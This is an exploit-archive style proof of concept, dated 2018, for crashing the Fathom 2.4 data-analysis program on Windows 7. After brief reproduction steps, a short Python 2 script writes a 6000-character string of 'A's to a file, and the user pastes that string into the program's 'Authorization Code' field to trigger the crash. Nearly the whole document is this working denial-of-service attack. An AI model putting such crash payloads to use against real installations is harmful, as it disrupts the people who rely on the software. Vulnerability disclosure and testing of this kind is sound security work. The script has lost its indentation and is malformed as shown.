Fathom 2.4 Denial Of Service

` Exploit Title: Fathom 2.4 - Denial Of Service (PoC)  
# Author: Gionathan "John" Reale  
# Discovey Date: 2018-08-28  
# Homepage: https://fathom.concord.org/  
# Software Link: https://fathom.concord.org/download/  
# Tested Version: v2.4  
# Tested on OS: Windows 7 32-bit  
# Steps to Reproduce: Run the python exploit script, it will create a new   
# file with the name "exploit.txt". Copy the content of the new file "exploit.txt".   
# Now start the program, in the field named: "Authorization Code" paste the "exploit.txt" content copied eariler.  
# Click "Activate" and see a crash!   
  
#!/usr/bin/python  
  
buffer = "A" * 6000  
  
payload = buffer  
try:  
f=open("exploit.txt","w")  
print "[+] Creating %s bytes evil payload.." %len(payload)  
f.write(payload)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
  
`